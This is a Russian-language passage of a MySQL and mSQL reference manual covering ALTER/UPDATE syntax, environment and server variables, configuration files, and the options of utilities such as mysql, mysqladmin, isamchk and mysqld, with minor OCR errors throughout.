    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

